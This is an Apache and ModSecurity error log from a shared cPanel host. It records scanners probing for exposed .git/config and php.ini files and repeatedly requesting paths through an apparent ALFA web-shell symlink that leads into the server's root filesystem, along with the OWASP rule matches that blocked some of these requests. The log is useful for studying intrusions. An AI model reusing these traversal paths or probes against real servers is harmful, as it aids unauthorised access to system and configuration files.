[Sun Oct 25 11:12:59.249053 2026] [security2:error] [pid 2834019:tid 2834019] [client 216.244.66.250:54708] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/bin/mailx"] [unique_id "at4ccEsgp-xlBP1GcWOS7AAAABE"]
[Sun Oct 25 11:12:59.249143 2026] [security2:error] [pid 2834019:tid 2834019] [client 216.244.66.250:54708] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/bin/mailx"] [unique_id "at4ccEsgp-xlBP1GcWOS7AAAABE"]
[Sun Oct 25 11:13:02.567689 2026] [ssl:error] [pid 2852968:tid 2852968] (70014)End of file found: [client 52.3.155.146:38096] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:13:06.843091 2026] [security2:error] [pid 2847227:tid 2847227] [client 170.64.203.58:34898] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4cgpaFInOsw263h0DragAAADU"]
[Sun Oct 25 11:13:06.843399 2026] [security2:error] [pid 2847227:tid 2847227] [client 170.64.203.58:34898] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4cgpaFInOsw263h0DragAAADU"]
[Sun Oct 25 11:13:06.843791 2026] [security2:error] [pid 2847227:tid 2847227] [client 170.64.203.58:34898] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4cgpaFInOsw263h0DragAAADU"]
[Sun Oct 25 11:13:07.051037 2026] [security2:error] [pid 2853059:tid 2853059] [client 170.64.203.58:32920] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4cg4VDdN7SgtrL03J7LgAAAAg"], referer: http://wapi1.sherwinpinturas.com/.git/config
[Sun Oct 25 11:13:07.051301 2026] [security2:error] [pid 2853059:tid 2853059] [client 170.64.203.58:32920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4cg4VDdN7SgtrL03J7LgAAAAg"], referer: http://wapi1.sherwinpinturas.com/.git/config
[Sun Oct 25 11:13:07.051679 2026] [security2:error] [pid 2853059:tid 2853059] [client 170.64.203.58:32920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4cg4VDdN7SgtrL03J7LgAAAAg"], referer: http://wapi1.sherwinpinturas.com/.git/config
[Sun Oct 25 11:13:09.776030 2026] [ssl:error] [pid 2853377:tid 2853377] (70014)End of file found: [client 34.193.2.57:22891] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:13:09.985061 2026] [security2:error] [pid 2853376:tid 2853376] [client 43.134.23.177:37126] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/525580602680"] [unique_id "at4chYQ1ZDwVc2SXNbtpkgAAAAU"]
[Sun Oct 25 11:13:11.153255 2026] [ssl:error] [pid 2853382:tid 2853382] (70014)End of file found: [client 184.72.95.195:40449] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:13:14.475175 2026] [security2:error] [pid 2853387:tid 2853387] [client 85.208.96.210:47298] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sbin/dnssec-verify"] [unique_id "at4cioyAJZ6IIdBCTx4lowAAABM"]
[Sun Oct 25 11:13:14.475209 2026] [security2:error] [pid 2853387:tid 2853387] [client 85.208.96.210:47298] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sbin/dnssec-verify"] [unique_id "at4cioyAJZ6IIdBCTx4lowAAABM"]
[Sun Oct 25 11:13:14.738877 2026] [ssl:error] [pid 2853388:tid 2853388] (70014)End of file found: [client 52.23.112.144:17823] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:13:20.352550 2026] [core:error] [pid 2853395:tid 2853395] (13)Permission denied: [client 185.191.171.18:12102] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/objects
[Sun Oct 25 11:13:31.019671 2026] [ssl:error] [pid 2852968:tid 2852968] (70014)End of file found: [client 3.230.69.161:25632] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:13:34.712697 2026] [ssl:error] [pid 2853373:tid 2853373] (70014)End of file found: [client 18.210.58.238:3180] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:13:42.680983 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 100.28.204.82:63803] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:13:46.916955 2026] [core:error] [pid 2853398:tid 2853398] (13)Permission denied: [client 3.220.70.171:16292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ata_generic/unbind
[Sun Oct 25 11:13:50.748786 2026] [ssl:error] [pid 2853402:tid 2853402] (70014)End of file found: [client 52.204.253.129:36777] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:13:56.243133 2026] [ssl:error] [pid 2853377:tid 2853377] (70014)End of file found: [client 185.191.171.9:12548] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:13:59.174354 2026] [ssl:error] [pid 2852968:tid 2852968] (70014)End of file found: [client 34.231.156.59:43097] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:14:06.720993 2026] [ssl:error] [pid 2853385:tid 2853385] (70014)End of file found: [client 98.83.10.183:45361] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:14:11.021856 2026] [ssl:error] [pid 2853379:tid 2853379] (70014)End of file found: [client 23.21.175.228:9506] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:14:15.192730 2026] [ssl:error] [pid 2853378:tid 2853378] (70014)End of file found: [client 52.202.233.37:64828] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:14:16.746384 2026] [core:error] [pid 2853376:tid 2853376] (13)Permission denied: [client 85.208.96.193:17234] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/aio_kiocb/align
[Sun Oct 25 11:14:22.928431 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 3.225.45.252:25495] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/subsystem/input5/device/driver/bind
[Sun Oct 25 11:14:26.838006 2026] [core:error] [pid 2853395:tid 2853395] (13)Permission denied: [client 44.214.19.8:15337] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/driver/remove_id
[Sun Oct 25 11:14:31.774736 2026] [core:error] [pid 2853379:tid 2853379] (13)Permission denied: [client 18.214.124.6:6204] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/rescan
[Sun Oct 25 11:14:50.787546 2026] [core:error] [pid 2853381:tid 2853381] (13)Permission denied: [client 34.239.85.139:26471] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/uhci_hcd/unbind
[Sun Oct 25 11:15:03.014524 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 184.73.239.35:23548] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:15:14.808144 2026] [ssl:error] [pid 2853378:tid 2853378] (70014)End of file found: [client 34.205.170.13:3789] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:15:19.025206 2026] [core:error] [pid 2853384:tid 2853384] (13)Permission denied: [client 54.225.148.123:41532] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/resource4
[Sun Oct 25 11:15:21.827974 2026] [core:crit] [pid 2852968:tid 2852968] (13)Permission denied: [client 43.98.194.227:36974] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 11:15:22.317699 2026] [authz_core:error] [pid 2834019:tid 2834019] [client 43.98.194.227:36986] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 11:15:22.814783 2026] [authz_core:error] [pid 2853385:tid 2853385] [client 43.98.194.227:36996] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 11:15:26.809631 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 18.209.201.119:21542] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:15:30.804500 2026] [ssl:error] [pid 2853381:tid 2853381] (70014)End of file found: [client 18.206.47.187:39263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:15:34.989619 2026] [ssl:error] [pid 2853378:tid 2853378] (70014)End of file found: [client 184.73.195.18:55395] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:15:38.901309 2026] [ssl:error] [pid 2853376:tid 2853376] (70014)End of file found: [client 52.54.95.127:29931] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:15:43.362937 2026] [ssl:error] [pid 2852968:tid 2852968] (70014)End of file found: [client 50.16.216.166:31130] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:15:46.959549 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 35.174.253.85:14066] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:15:54.838574 2026] [ssl:error] [pid 2853385:tid 2853385] (70014)End of file found: [client 98.83.178.66:30759] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:15:59.116826 2026] [ssl:error] [pid 2853379:tid 2853379] (70014)End of file found: [client 98.83.72.38:10545] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:15:59.117023 2026] [security2:error] [pid 2853379:tid 2853379] [client 98.83.72.38:10545] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/uevent"] [unique_id "at4dL7FVd-32uN3dR1Bv5QAAAAo"]
[Sun Oct 25 11:15:59.117055 2026] [security2:error] [pid 2853379:tid 2853379] [client 98.83.72.38:10545] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/uevent"] [unique_id "at4dL7FVd-32uN3dR1Bv5QAAAAo"]
[Sun Oct 25 11:16:02.966008 2026] [ssl:error] [pid 2853381:tid 2853381] (70014)End of file found: [client 54.197.102.71:39054] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:16:11.036092 2026] [security2:error] [pid 2853384:tid 2853384] [client 54.83.56.1:30362] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/subsystem/"] [unique_id "at4dO26BKUqLydm1sXLUjAAAAA8"]
[Sun Oct 25 11:16:11.036141 2026] [security2:error] [pid 2853384:tid 2853384] [client 54.83.56.1:30362] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/subsystem/"] [unique_id "at4dO26BKUqLydm1sXLUjAAAAA8"]
[Sun Oct 25 11:16:18.996781 2026] [core:error] [pid 2853395:tid 2853395] (13)Permission denied: [client 54.166.126.132:46267] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/device:03/physical_node/driver/module/uevent
[Sun Oct 25 11:16:22.996452 2026] [core:error] [pid 2853385:tid 2853385] (13)Permission denied: [client 100.28.118.16:31905] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/resource4_wc
[Sun Oct 25 11:16:26.856814 2026] [ssl:error] [pid 2853379:tid 2853379] (5)Input/output error: [client 52.70.123.241:14709] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:16:51.003877 2026] [ssl:error] [pid 2853385:tid 2853385] (70014)End of file found: [client 52.5.232.250:65493] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:17:03.312587 2026] [ssl:error] [pid 2853378:tid 2853378] (70014)End of file found: [client 34.192.67.98:5188] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:17:07.213085 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 98.84.131.195:22741] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:17:11.272647 2026] [ssl:error] [pid 2853379:tid 2853379] (70014)End of file found: [client 18.215.24.66:12137] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:17:17.091941 2026] [core:error] [pid 2853381:tid 2853381] (13)Permission denied: [client 185.191.171.1:65130] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/objs_per_slab
[Sun Oct 25 11:17:32.919654 2026] [ssl:error] [pid 2853379:tid 2853379] (70014)End of file found: [client 35.173.38.202:49582] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:17:37.079911 2026] [core:crit] [pid 2853381:tid 2853381] (13)Permission denied: [client 185.189.182.234:50034] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 11:17:39.113065 2026] [ssl:error] [pid 2853384:tid 2853384] (70014)End of file found: [client 52.5.242.243:43560] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:17:43.427919 2026] [ssl:error] [pid 2852968:tid 2852968] (70014)End of file found: [client 44.214.19.8:10805] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:17:47.127129 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 3.224.215.150:27409] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:17:50.903237 2026] [ssl:error] [pid 2853385:tid 2853385] (70014)End of file found: [client 185.191.171.2:45362] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:17:51.568659 2026] [core:error] [pid 2853379:tid 2853379] (13)Permission denied: [client 34.196.114.170:22917] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory1/subsystem/drivers_probe
[Sun Oct 25 11:17:55.192591 2026] [ssl:error] [pid 2853376:tid 2853376] (70014)End of file found: [client 3.230.224.6:52035] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:18:01.167373 2026] [authz_core:error] [pid 2853384:tid 2853384] [client 47.84.107.154:40768] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 11:18:01.912086 2026] [authz_core:error] [pid 2852968:tid 2852968] [client 47.84.107.154:40776] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 11:18:03.352983 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 54.83.180.239:34764] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:18:07.308530 2026] [ssl:error] [pid 2853385:tid 2853385] (70014)End of file found: [client 44.216.172.204:40317] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:18:11.293035 2026] [ssl:error] [pid 2853379:tid 2853379] (70014)End of file found: [client 52.2.4.213:20118] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:18:20.574919 2026] [core:error] [pid 2853381:tid 2853381] (13)Permission denied: [client 85.208.96.206:36452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/posix_timers_cache/ctor
[Sun Oct 25 11:18:23.553897 2026] [ssl:error] [pid 2853384:tid 2853384] (70014)End of file found: [client 18.211.39.188:44210] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:18:27.438340 2026] [ssl:error] [pid 2852968:tid 2852968] (70014)End of file found: [client 52.5.242.243:32832] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:18:31.228447 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 100.29.128.75:1072] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:18:47.387656 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 44.215.61.66:42703] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:19:03.325517 2026] [ssl:error] [pid 2853381:tid 2853381] (70014)End of file found: [client 44.193.102.198:9108] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:19:07.336401 2026] [ssl:error] [pid 2853384:tid 2853384] (70014)End of file found: [client 50.16.216.166:56720] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:19:15.533529 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 52.70.138.176:8014] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:19:27.276108 2026] [ssl:error] [pid 2853379:tid 2853379] (70014)End of file found: [client 34.224.9.144:49208] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:19:31.432387 2026] [ssl:error] [pid 2853378:tid 2853378] (70014)End of file found: [client 3.222.85.38:9104] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:19:43.585332 2026] [core:error] [pid 2853379:tid 2853379] (13)Permission denied: [client 34.233.114.237:37598] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory9/node0/compact
[Sun Oct 25 11:19:47.343620 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 50.19.102.70:2359] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:19:55.423017 2026] [ssl:error] [pid 2853381:tid 2853381] (70014)End of file found: [client 54.90.244.132:2469] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:19:59.768751 2026] [core:error] [pid 2853395:tid 2853395] (13)Permission denied: [client 216.244.66.250:49682] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/initramfs-0-rescue-4dc17870944da335763f0b1728f597d1.img
[Sun Oct 25 11:20:18.586639 2026] [core:error] [pid 2853385:tid 2853385] (13)Permission denied: [client 185.191.171.3:48614] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/cache_dma
[Sun Oct 25 11:20:27.387056 2026] [ssl:error] [pid 2852968:tid 2852968] (70014)End of file found: [client 98.82.214.73:39252] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:20:31.949753 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 98.83.72.38:24880] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:20:35.636740 2026] [ssl:error] [pid 2853379:tid 2853379] (70014)End of file found: [client 52.204.71.8:50845] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:20:47.347701 2026] [ssl:error] [pid 2853376:tid 2853376] (70014)End of file found: [client 44.215.235.20:37054] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:20:51.631950 2026] [ssl:error] [pid 2853378:tid 2853378] (70014)End of file found: [client 100.29.63.24:7955] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:20:55.914732 2026] [ssl:error] [pid 2852968:tid 2852968] (70014)End of file found: [client 34.236.135.14:16046] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:21:03.330738 2026] [ssl:error] [pid 2853379:tid 2853379] (70014)End of file found: [client 54.87.62.248:12091] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:21:05.737279 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 85.208.96.195:10404] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:21:07.445570 2026] [core:error] [pid 2853384:tid 2853384] (13)Permission denied: [client 52.45.15.233:12417] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0F13:00/physical_node/driver/uevent
[Sun Oct 25 11:21:11.224279 2026] [ssl:error] [pid 2853385:tid 2853385] (70014)End of file found: [client 34.197.28.78:30348] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:21:15.158833 2026] [ssl:error] [pid 2853376:tid 2853376] (70014)End of file found: [client 52.44.229.124:2492] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:21:17.340955 2026] [core:error] [pid 2853378:tid 2853378] (13)Permission denied: [client 85.208.96.195:55446] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_transaction_s/partial
[Sun Oct 25 11:21:19.197420 2026] [ssl:error] [pid 2852968:tid 2852968] (70014)End of file found: [client 54.147.182.90:60310] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:21:23.228154 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 52.200.54.136:42551] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:21:42.147336 2026] [security2:error] [pid 2847214:tid 2847214] [client 16.216.88.102:61441] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/dovecot.conf"] [unique_id "at4ehvhVEu9HLPc5D-_6GQAAACk"]
[Sun Oct 25 11:21:42.147832 2026] [security2:error] [pid 2847214:tid 2847214] [client 16.216.88.102:61441] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/dovecot.conf"] [unique_id "at4ehvhVEu9HLPc5D-_6GQAAACk"]
[Sun Oct 25 11:21:42.148207 2026] [security2:error] [pid 2847214:tid 2847214] [client 16.216.88.102:61441] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/dovecot.conf"] [unique_id "at4ehvhVEu9HLPc5D-_6GQAAACk"]
[Sun Oct 25 11:21:43.141908 2026] [ssl:error] [pid 2853381:tid 2853381] (70014)End of file found: [client 3.210.114.189:25905] AH02013: coalesce failed to read from data bucket
